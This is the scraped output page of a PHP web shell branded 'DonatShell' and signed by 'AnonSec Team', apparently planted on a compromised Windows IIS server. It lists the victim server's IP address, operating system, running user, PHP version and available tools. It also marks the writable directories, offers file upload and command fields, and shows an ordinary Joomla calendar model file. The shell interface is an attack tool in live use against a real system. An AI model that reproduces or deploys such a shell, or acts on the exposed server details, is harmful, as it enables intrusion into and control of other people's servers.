DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/components/com_spidercalendar/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/components/com_spidercalendar/models/ajaxbigcalendar.php
<?php
 
 /**
 * @package Spider Calendar
 * @author Web-Dorado
 * @copyright (C) 2011 Web-Dorado. All rights reserved.
 * @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 **/
 
Defined ('_JEXEC')  or  die();

jimport( 'joomla.application.component.model' );

class spidercalendarModelajaxbigcalendar extends JModel

{

	function getDate()
	{
	
	$componentParams = &JComponentHelper::getParams('com_spidercalendar');

$calendar_id = $componentParams->get('calendar');
	
	$calendar 	=& JTable::getInstance('spidercalendar_calendar', 'Table');
			// load the row from the db table
$calendar->load( $calendar_id);

if((int)$calendar->def_month<10)
$month='0'.(int)$calendar->def_month;
else
$month=(int)$calendar->def_month;
	

		
	if($calendar->def_year!='' and $calendar->def_month!='' )
	$date=JRequest::getVar('date',$calendar->def_year.'-'.$month);
	else
	$date=JRequest::getVar('date',date("Y").'-'.date("m"));
	
		return array($date);
	}

	


	}
	


Anon7 - 2022
AnonSec Team